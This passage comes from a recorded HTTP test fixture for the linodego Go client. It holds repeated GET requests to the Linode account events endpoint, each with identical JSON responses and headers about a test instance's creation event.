"linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "544" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49042875,"entity.type":"linode","id":{"+gte":550259216}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550259216, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-8y129dg6h3uh", "id": 49042875, "type": "linode", "url": "/v4/linode/instances/49042875"}, "status": "scheduled", "secondary_entity": {"id": "linode/debian9", "type": "image", "label": "Debian 9", "url": "/v4/images/linode/debian9"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - 